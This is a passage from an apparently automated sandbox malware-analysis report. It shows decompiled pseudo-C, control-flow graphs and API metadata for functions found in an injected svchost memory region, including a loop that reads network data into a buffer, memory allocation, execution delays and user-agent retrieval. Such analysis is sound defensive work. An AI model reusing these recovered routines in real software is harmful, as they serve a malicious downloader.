                                                                                                                                                                                                                                                                                                      0x030c2cba
                                                                                                                                                                                                                                                                                                      0x030c2cc9
                                                                                                                                                                                                                                                                                                      0x030c2cd7
                                                                                                                                                                                                                                                                                                      0x030c2cf4
                                                                                                                                                                                                                                                                                                      0x030c2d11
                                                                                                                                                                                                                                                                                                      0x030c2d2e
                                                                                                                                                                                                                                                                                                      0x030c2d2e
                                                                                                                                                                                                                                                                                                      0x030c2d34
                                                                                                                                                                                                                                                                                                      0x030c2d39
                                                                                                                                                                                                                                                                                                      0x030c2d40
                                                                                                                                                                                                                                                                                                      0x030c2d42
                                                                                                                                                                                                                                                                                                      0x030c2d42
                                                                                                                                                                                                                                                                                                      0x030c2d40
                                                                                                                                                                                                                                                                                                      0x030c175f
                                                                                                                                                                                                                                                                                                      0x030c1739
                                                                                                                                                                                                                                                                                                      0x030c2d4f

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • NtAllocateVirtualMemory.NTDLL(000000FF,030EFC04,00000000,00000310,00003000,00000004), ref: 030C175A
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.868105934.00000000030C0000.00000040.00000001.sdmp, Offset: 030C0000, based on PE: true
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_30c0000_svchost.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: AllocateMemoryVirtual
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 2167126740-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: 99761f47c0e800f39df12f551ec00abf628672bd14103f83fd8452b7d420c452
                                                                                                                                                                                                                                                                                                      • Instruction ID: 55873fa562141b6dfda492fc381755e3a891b46e7dac6159e85779cc9493662d
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 99761f47c0e800f39df12f551ec00abf628672bd14103f83fd8452b7d420c452
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 5AC2A3BDA11241EBE304EB60EE81FAD7761AB84745F34817CED085F386EE769D028B51
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 891 30cf100-30cf111 892 30cf11f-30cf122 891->892 893 30cf113-30cf117 891->893 894 30cf23e-30cf241 892->894 893->892 895 30cf119-30cf11d 893->895 895->892 896 30cf127-30cf156 call 30c7460 895->896 899 30cf15c-30cf163 896->899 900 30cf23b 896->900 901 30cf1f8-30cf1fc 899->901 902 30cf169-30cf1a3 call 30c16e0 * 2 InternetReadFile 899->902 900->894 904 30cf1fe-30cf202 901->904 905 30cf223-30cf22c call 30c7700 901->905 917 30cf1a5 902->917 918 30cf1a7-30cf1ab 902->918 904->905 907 30cf204-30cf208 904->907 911 30cf22f-30cf233 call 30c7700 905->911 907->905 909 30cf20a-30cf221 907->909 909->911 915 30cf238 911->915 915->900 917->901 919 30cf1ad-30cf1b4 918->919 920 30cf1b6-30cf1c1 call 30c76b0 918->920 919->901 922 30cf1c6-30cf1cb 920->922 923 30cf1cd-30cf1f3 call 30c16e0 922->923 924 30cf1f1 922->924 923->899 924->901
                                                                                                                                                                                                                                                                                                      C-Code - Quality: 69%
                                                                                                                                                                                                                                                                                                      			E030CF100(void* _a4, intOrPtr* _a8, intOrPtr* _a12) {
                                                                                                                                                                                                                                                                                                      				long _v8;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v12;
                                                                                                                                                                                                                                                                                                      				char _v16;
                                                                                                                                                                                                                                                                                                      				void* _v20;
                                                                                                                                                                                                                                                                                                      				char _v24;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v28;
                                                                                                                                                                                                                                                                                                      				void* _t48;
                                                                                                                                                                                                                                                                                                      				int _t60;
                                                                                                                                                                                                                                                                                                      				void* _t61;
                                                                                                                                                                                                                                                                                                      				void* _t82;
                                                                                                                                                                                                                                                                                                      				void* _t83;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_v24 = 0;
                                                                                                                                                                                                                                                                                                      				if(_a4 == 0 || _a8 == 0 || _a12 == 0) {
                                                                                                                                                                                                                                                                                                      					return _v24;
                                                                                                                                                                                                                                                                                                      				} else {
                                                                                                                                                                                                                                                                                                      					_v28 = 0;
                                                                                                                                                                                                                                                                                                      					_v16 = 0;
                                                                                                                                                                                                                                                                                                      					_v12 = 0;
                                                                                                                                                                                                                                                                                                      					_v8 = 0x1000;
                                                                                                                                                                                                                                                                                                      					_t48 = E030C7460(_v8); // executed
                                                                                                                                                                                                                                                                                                      					_t83 = _t82 + 4;
                                                                                                                                                                                                                                                                                                      					_v20 = _t48;
                                                                                                                                                                                                                                                                                                      					if(_v20 == 0) {
                                                                                                                                                                                                                                                                                                      						L20:
                                                                                                                                                                                                                                                                                                      						return _v24;
                                                                                                                                                                                                                                                                                                      					} else {
                                                                                                                                                                                                                                                                                                      						goto L5;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					while(1) {
                                                                                                                                                                                                                                                                                                      						L5:
                                                                                                                                                                                                                                                                                                      						_t66 = 1;
                                                                                                                                                                                                                                                                                                      						if(1 == 0) {
                                                                                                                                                                                                                                                                                                      							break;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						_v8 = 0x1000;
                                                                                                                                                                                                                                                                                                      						_push(_v8);
                                                                                                                                                                                                                                                                                                      						_push(0);
                                                                                                                                                                                                                                                                                                      						_push(_v20);
                                                                                                                                                                                                                                                                                                      						 *((intOrPtr*)( *((intOrPtr*)(E030C16E0() + 0x2c))))();
                                                                                                                                                                                                                                                                                                      						_t66 = _v20;
                                                                                                                                                                                                                                                                                                      						E030C16E0();
                                                                                                                                                                                                                                                                                                      						_t60 = InternetReadFile(_a4, _v20, _v8,  &_v8); // executed
                                                                                                                                                                                                                                                                                                      						if(_t60 != 0) {
                                                                                                                                                                                                                                                                                                      							if(_v8 != 0) {
                                                                                                                                                                                                                                                                                                      								_t66 = _v12 + _v8;
                                                                                                                                                                                                                                                                                                      								_t61 = E030C76B0( &_v16, _v12 + _v8); // executed
                                                                                                                                                                                                                                                                                                      								_t83 = _t83 + 8;
                                                                                                                                                                                                                                                                                                      								if(_t61 == 0) {
                                                                                                                                                                                                                                                                                                      									break;
                                                                                                                                                                                                                                                                                                      								}
                                                                                                                                                                                                                                                                                                      								_push(_v8);
                                                                                                                                                                                                                                                                                                      								_push(_v20);
                                                                                                                                                                                                                                                                                                      								_push(_v16 + _v12);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *((intOrPtr*)(E030C16E0() + 0x30))))();
                                                                                                                                                                                                                                                                                                      								_v12 = _v12 + _v8;
                                                                                                                                                                                                                                                                                                      								continue;
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      							_v28 = 1;
                                                                                                                                                                                                                                                                                                      							break;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						break;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					if(_v28 == 0 || _v12 == 0 || _v16 == 0) {
                                                                                                                                                                                                                                                                                                      						E030C7700(_t66, _v16);
                                                                                                                                                                                                                                                                                                      						_t83 = _t83 + 4;
                                                                                                                                                                                                                                                                                                      					} else {
                                                                                                                                                                                                                                                                                                      						 *_a8 = _v16;
                                                                                                                                                                                                                                                                                                      						 *_a12 = _v12;
                                                                                                                                                                                                                                                                                                      						_v24 = 1;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					E030C7700(_v20, _v20); // executed
                                                                                                                                                                                                                                                                                                      					goto L20;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      			}














                                                                                                                                                                                                                                                                                                      0x030cf106
                                                                                                                                                                                                                                                                                                      0x030cf111
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x030cf127
                                                                                                                                                                                                                                                                                                      0x030cf127
                                                                                                                                                                                                                                                                                                      0x030cf12e
                                                                                                                                                                                                                                                                                                      0x030cf135
                                                                                                                                                                                                                                                                                                      0x030cf13c
                                                                                                                                                                                                                                                                                                      0x030cf147
                                                                                                                                                                                                                                                                                                      0x030cf14c
                                                                                                                                                                                                                                                                                                      0x030cf14f
                                                                                                                                                                                                                                                                                                      0x030cf156
                                                                                                                                                                                                                                                                                                      0x030cf23b
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x030cf15c
                                                                                                                                                                                                                                                                                                      0x030cf15c
                                                                                                                                                                                                                                                                                                      0x030cf15c
                                                                                                                                                                                                                                                                                                      0x030cf163
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x030cf169
                                                                                                                                                                                                                                                                                                      0x030cf173
                                                                                                                                                                                                                                                                                                      0x030cf174
                                                                                                                                                                                                                                                                                                      0x030cf179
                                                                                                                                                                                                                                                                                                      0x030cf182
                                                                                                                                                                                                                                                                                                      0x030cf18c
                                                                                                                                                                                                                                                                                                      0x030cf194
                                                                                                                                                                                                                                                                                                      0x030cf19f
                                                                                                                                                                                                                                                                                                      0x030cf1a3
                                                                                                                                                                                                                                                                                                      0x030cf1ab
                                                                                                                                                                                                                                                                                                      0x030cf1b9
                                                                                                                                                                                                                                                                                                      0x030cf1c1
                                                                                                                                                                                                                                                                                                      0x030cf1c6
                                                                                                                                                                                                                                                                                                      0x030cf1cb
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x030cf1f1
                                                                                                                                                                                                                                                                                                      0x030cf1d0
                                                                                                                                                                                                                                                                                                      0x030cf1d4
                                                                                                                                                                                                                                                                                                      0x030cf1db
                                                                                                                                                                                                                                                                                                      0x030cf1e4
                                                                                                                                                                                                                                                                                                      0x030cf1ec
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x030cf1f3
                                                                                                                                                                                                                                                                                                      0x030cf1ad
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x030cf1ad
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x030cf1a5
                                                                                                                                                                                                                                                                                                      0x030cf1fc
                                                                                                                                                                                                                                                                                                      0x030cf227
                                                                                                                                                                                                                                                                                                      0x030cf22c
                                                                                                                                                                                                                                                                                                      0x030cf20a
                                                                                                                                                                                                                                                                                                      0x030cf210
                                                                                                                                                                                                                                                                                                      0x030cf218
                                                                                                                                                                                                                                                                                                      0x030cf21a
                                                                                                                                                                                                                                                                                                      0x030cf21a
                                                                                                                                                                                                                                                                                                      0x030cf233
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x030cf238

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • InternetReadFile.WININET(00000000,00000000,00001000,00001000), ref: 030CF19F
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.868105934.00000000030C0000.00000040.00000001.sdmp, Offset: 030C0000, based on PE: true
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_30c0000_svchost.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: FileInternetRead
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 778332206-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: 4013cc21b7d74caa7227bdb651167f932224434cd5c42eb88870f29de9d14192
                                                                                                                                                                                                                                                                                                      • Instruction ID: 0d91207e8feffc1ef824bbc09abaf07a81a11829a979365a7a34d4629a9eac7a
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 4013cc21b7d74caa7227bdb651167f932224434cd5c42eb88870f29de9d14192
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E64138B991228AEBDB04CFD8C884BEEB7B5AF44304F24859CE9116B240C7749A44CB92
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      C-Code - Quality: 55%
                                                                                                                                                                                                                                                                                                      			E030C9510(void* __eax, signed int _a4) {
                                                                                                                                                                                                                                                                                                      				signed int _v8;
                                                                                                                                                                                                                                                                                                      				signed int _v12;
                                                                                                                                                                                                                                                                                                      				signed int _t20;
                                                                                                                                                                                                                                                                                                      				void* _t25;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				if(_a4 != 0) {
                                                                                                                                                                                                                                                                                                      					_push(8);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push( &_v12);
                                                                                                                                                                                                                                                                                                      					 *((intOrPtr*)( *((intOrPtr*)(E030C16E0() + 0x2c))))();
                                                                                                                                                                                                                                                                                                      					if(_a4 != 0xffffffff) {
                                                                                                                                                                                                                                                                                                      						_t20 = _a4;
                                                                                                                                                                                                                                                                                                      						asm("adc edx, 0x0");
                                                                                                                                                                                                                                                                                                      						_v12 =  ~(_t20 * 0x2710);
                                                                                                                                                                                                                                                                                                      						_v8 =  ~(_t20 * 0x2710 >> 0x20);
                                                                                                                                                                                                                                                                                                      					} else {
                                                                                                                                                                                                                                                                                                      						_v12 = 1;
                                                                                                                                                                                                                                                                                                      						_v8 = 0x80000000;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					_push( &_v12);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_t25 =  *((intOrPtr*)( *((intOrPtr*)(E030C16E0() + 0x68))))(); // executed
                                                                                                                                                                                                                                                                                                      					return _t25;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				return __eax;
                                                                                                                                                                                                                                                                                                      			}







                                                                                                                                                                                                                                                                                                      0x030c951a
                                                                                                                                                                                                                                                                                                      0x030c951e
                                                                                                                                                                                                                                                                                                      0x030c9520
                                                                                                                                                                                                                                                                                                      0x030c9525
                                                                                                                                                                                                                                                                                                      0x030c952e
                                                                                                                                                                                                                                                                                                      0x030c9534
                                                                                                                                                                                                                                                                                                      0x030c9546
                                                                                                                                                                                                                                                                                                      0x030c9552
                                                                                                                                                                                                                                                                                                      0x030c9557
                                                                                                                                                                                                                                                                                                      0x030c955a
                                                                                                                                                                                                                                                                                                      0x030c9536
                                                                                                                                                                                                                                                                                                      0x030c9536
                                                                                                                                                                                                                                                                                                      0x030c953d
                                                                                                                                                                                                                                                                                                      0x030c953d
                                                                                                                                                                                                                                                                                                      0x030c9560
                                                                                                                                                                                                                                                                                                      0x030c9561
                                                                                                                                                                                                                                                                                                      0x030c956b
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x030c956b
                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • NtDelayExecution.NTDLL(00000000,000000FF), ref: 030C956B
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.868105934.00000000030C0000.00000040.00000001.sdmp, Offset: 030C0000, based on PE: true
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_30c0000_svchost.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: DelayExecution
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 1249177460-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: faaa0a4a529718b90292c096db1562b1a0ad346dc887d829ce17e7dbfa497cab
                                                                                                                                                                                                                                                                                                      • Instruction ID: e432de29f4a1808ee4f3ff12576c3f96e1dc48fcc022d1721408a7172050cadf
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: faaa0a4a529718b90292c096db1562b1a0ad346dc887d829ce17e7dbfa497cab
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: AAF0907591520CEFDB04DFA4C845BDC7BB8AF40310F1082ADE8499F2D2D7709A84C781
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                      			E030C7410(void* _a4, long _a8, long _a12, long _a16, intOrPtr* _a20) {
                                                                                                                                                                                                                                                                                                      				long _v8;
                                                                                                                                                                                                                                                                                                      				void* _v12;
                                                                                                                                                                                                                                                                                                      				long _t18;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_v12 = _a4;
                                                                                                                                                                                                                                                                                                      				_v8 = _a8;
                                                                                                                                                                                                                                                                                                      				E030C16E0();
                                                                                                                                                                                                                                                                                                      				_t18 = NtAllocateVirtualMemory(0xffffffff,  &_v12, 0,  &_v8, _a12, _a16); // executed
                                                                                                                                                                                                                                                                                                      				if(_t18 >= 0 && _a20 != 0) {
                                                                                                                                                                                                                                                                                                      					 *_a20 = _v8;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				return _v12;
                                                                                                                                                                                                                                                                                                      			}






                                                                                                                                                                                                                                                                                                      0x030c7419
                                                                                                                                                                                                                                                                                                      0x030c741f
                                                                                                                                                                                                                                                                                                      0x030c7436
                                                                                                                                                                                                                                                                                                      0x030c743e
                                                                                                                                                                                                                                                                                                      0x030c7442
                                                                                                                                                                                                                                                                                                      0x030c7450
                                                                                                                                                                                                                                                                                                      0x030c7450
                                                                                                                                                                                                                                                                                                      0x030c7458

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • NtAllocateVirtualMemory.NTDLL(000000FF,00000004,00000000,00000000,?,?,00000004,00000000), ref: 030C743E
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.868105934.00000000030C0000.00000040.00000001.sdmp, Offset: 030C0000, based on PE: true
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_30c0000_svchost.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: AllocateMemoryVirtual
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 2167126740-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: 3f8290304b47aa58d9563249fec8d1e5c079c974b773595932b619b927232cef
                                                                                                                                                                                                                                                                                                      • Instruction ID: 71dc33cc249e37b10ad7432e7a9bf673e274e8f0512d38dae1bab9897f9a3b60
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 3f8290304b47aa58d9563249fec8d1e5c079c974b773595932b619b927232cef
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 2EF01D75610209AFCB04CF98C881ADEBBB4EF88310F148259A85497390D730EA50CB91
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      C-Code - Quality: 75%
                                                                                                                                                                                                                                                                                                      			E030CB310(void* _a4) {
                                                                                                                                                                                                                                                                                                      				long _t9;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_push(_a4);
                                                                                                                                                                                                                                                                                                      				 *((intOrPtr*)( *((intOrPtr*)(E030C16E0() + 0x118))))();
                                                                                                                                                                                                                                                                                                      				E030C16E0();
                                                                                                                                                                                                                                                                                                      				_t9 = NtClose(_a4); // executed
                                                                                                                                                                                                                                                                                                      				return _t9;
                                                                                                                                                                                                                                                                                                      			}




                                                                                                                                                                                                                                                                                                      0x030cb316
                                                                                                                                                                                                                                                                                                      0x030cb322
                                                                                                                                                                                                                                                                                                      0x030cb328
                                                                                                                                                                                                                                                                                                      0x030cb32f
                                                                                                                                                                                                                                                                                                      0x030cb332

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • NtClose.NTDLL(030CB3B6,?,030CB3B6,00000000), ref: 030CB32F
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.868105934.00000000030C0000.00000040.00000001.sdmp, Offset: 030C0000, based on PE: true
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_30c0000_svchost.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: Close
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 3535843008-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: c1b8cf03962f489799d4dddb671800094ff5503957f65fa3eb7453bfd83d448a
                                                                                                                                                                                                                                                                                                      • Instruction ID: 233e32e045b9c47e86aaceadae4cdf10fcd547dbce1c74bd48a4147968814e76
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c1b8cf03962f489799d4dddb671800094ff5503957f65fa3eb7453bfd83d448a
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 94D0E9792152485BC608EFE8D885CDE37A99F84680B048568B5488F251CD34E94187D5
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 426 30cec70-30cec81 427 30cec8b-30cec9c call 30c77d0 426->427 428 30cec83-30cec86 426->428 432 30cec9e-30cecc6 call 30c16e0 ObtainUserAgentString 427->432 433 30ced19 427->433 430 30ced1c-30ced1f 428->430 436 30cecc8-30cecd0 call 30c77f0 432->436 437 30cecf6-30cecfa 432->437 433->430 442 30cecd5-30cecda 436->442 439 30cecfc-30ced0b 437->439 440 30ced0d-30ced16 call 30c7700 437->440 439->433 440->433 442->437 444 30cecdc-30cecf3 call 30c16e0 442->444 444->437
                                                                                                                                                                                                                                                                                                      C-Code - Quality: 73%
                                                                                                                                                                                                                                                                                                      			E030CEC70(intOrPtr* _a4) {
                                                                                                                                                                                                                                                                                                      				char _v8;
                                                                                                                                                                                                                                                                                                      				char _v12;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v16;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v20;
                                                                                                                                                                                                                                                                                                      				char _t24;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t28;
                                                                                                                                                                                                                                                                                                      				void* _t32;
                                                                                                                                                                                                                                                                                                      				void* _t44;
                                                                                                                                                                                                                                                                                                      				void* _t45;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_v20 = 0;
                                                                                                                                                                                                                                                                                                      				if(_a4 == 0) {
                                                                                                                                                                                                                                                                                                      					return _v20;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				_t24 = E030C77D0(0x64); // executed
                                                                                                                                                                                                                                                                                                      				_t45 = _t44 + 4;
                                                                                                                                                                                                                                                                                                      				_v8 = _t24;
                                                                                                                                                                                                                                                                                                      				if(_v8 == 0) {
                                                                                                                                                                                                                                                                                                      					L9:
                                                                                                                                                                                                                                                                                                      					return _v20;
                                                                                                                                                                                                                                                                                                      				} else {
                                                                                                                                                                                                                                                                                                      					_v12 = 0x64;
                                                                                                                                                                                                                                                                                                      					_push( &_v12);
                                                                                                                                                                                                                                                                                                      					_push(_v8);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_t28 =  *((intOrPtr*)( *((intOrPtr*)(E030C16E0() + 0x2ec))))(); // executed
                                                                                                                                                                                                                                                                                                      					_v16 = _t28;
                                                                                                                                                                                                                                                                                                      					if(_v16 == 0x8007000e) {
                                                                                                                                                                                                                                                                                                      						_t32 = E030C77F0( &_v8, _v12); // executed
                                                                                                                                                                                                                                                                                                      						_t45 = _t45 + 8;
                                                                                                                                                                                                                                                                                                      						if(_t32 != 0) {
                                                                                                                                                                                                                                                                                                      							_push( &_v12);
                                                                                                                                                                                                                                                                                                      							_push(_v8);
                                                                                                                                                                                                                                                                                                      							_push(0);
                                                                                                                                                                                                                                                                                                      							_v16 =  *((intOrPtr*)( *((intOrPtr*)(E030C16E0() + 0x2ec))))();
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					if(_v16 != 0) {
                                                                                                                                                                                                                                                                                                      						E030C7700(_v8, _v8);
                                                                                                                                                                                                                                                                                                      					} else {
                                                                                                                                                                                                                                                                                                      						 *_a4 = _v8;
                                                                                                                                                                                                                                                                                                      						_v20 = 1;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					goto L9;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      			}












                                                                                                                                                                                                                                                                                                      0x030cec76
                                                                                                                                                                                                                                                                                                      0x030cec81
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x030cec83
                                                                                                                                                                                                                                                                                                      0x030cec8d
                                                                                                                                                                                                                                                                                                      0x030cec92
                                                                                                                                                                                                                                                                                                      0x030cec95
                                                                                                                                                                                                                                                                                                      0x030cec9c
                                                                                                                                                                                                                                                                                                      0x030ced19
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x030cec9e
                                                                                                                                                                                                                                                                                                      0x030cec9e
                                                                                                                                                                                                                                                                                                      0x030ceca8
                                                                                                                                                                                                                                                                                                      0x030cecac
                                                                                                                                                                                                                                                                                                      0x030cecad
                                                                                                                                                                                                                                                                                                      0x030cecba
                                                                                                                                                                                                                                                                                                      0x030cecbc
                                                                                                                                                                                                                                                                                                      0x030cecc6
                                                                                                                                                                                                                                                                                                      0x030cecd0
                                                                                                                                                                                                                                                                                                      0x030cecd5
                                                                                                                                                                                                                                                                                                      0x030cecda
                                                                                                                                                                                                                                                                                                      0x030cecdf
                                                                                                                                                                                                                                                                                                      0x030cece3
                                                                                                                                                                                                                                                                                                      0x030cece4
                                                                                                                                                                                                                                                                                                      0x030cecf3
                                                                                                                                                                                                                                                                                                      0x030cecf3
                                                                                                                                                                                                                                                                                                      0x030cecda
                                                                                                                                                                                                                                                                                                      0x030cecfa
                                                                                                                                                                                                                                                                                                      0x030ced11
                                                                                                                                                                                                                                                                                                      0x030cecfc
                                                                                                                                                                                                                                                                                                      0x030ced02
                                                                                                                                                                                                                                                                                                      0x030ced04
                                                                                                                                                                                                                                                                                                      0x030ced04
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x030cecfa

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • ObtainUserAgentString.URLMON(00000000,00000000,00000064), ref: 030CECBA
                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.868105934.00000000030C0000.00000040.00000001.sdmp, Offset: 030C0000, based on PE: true
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_30c0000_svchost.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: AgentObtainStringUser
                                                                                                                                                                                                                                                                                                      • String ID: d
                                                                                                                                                                                                                                                                                                      • API String ID: 2681117516-2564639436
                                                                                                                                                                                                                                                                                                      • Opcode ID: 392443c8ddd15e336a94993ec070ce2368225b7ba6036d3b60fdc0277a10b483
                                                                                                                                                                                                                                                                                                      • Instruction ID: 9054a14842b9e724dd725d50aae4c227b3660fef10cffaa39001ab774f3e8fd2
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 392443c8ddd15e336a94993ec070ce2368225b7ba6036d3b60fdc0277a10b483
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D5114CB9D11248EFDB14EFD4D848BEEB7B8AF44305F1486ACE5056B280E7749A44CF91
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
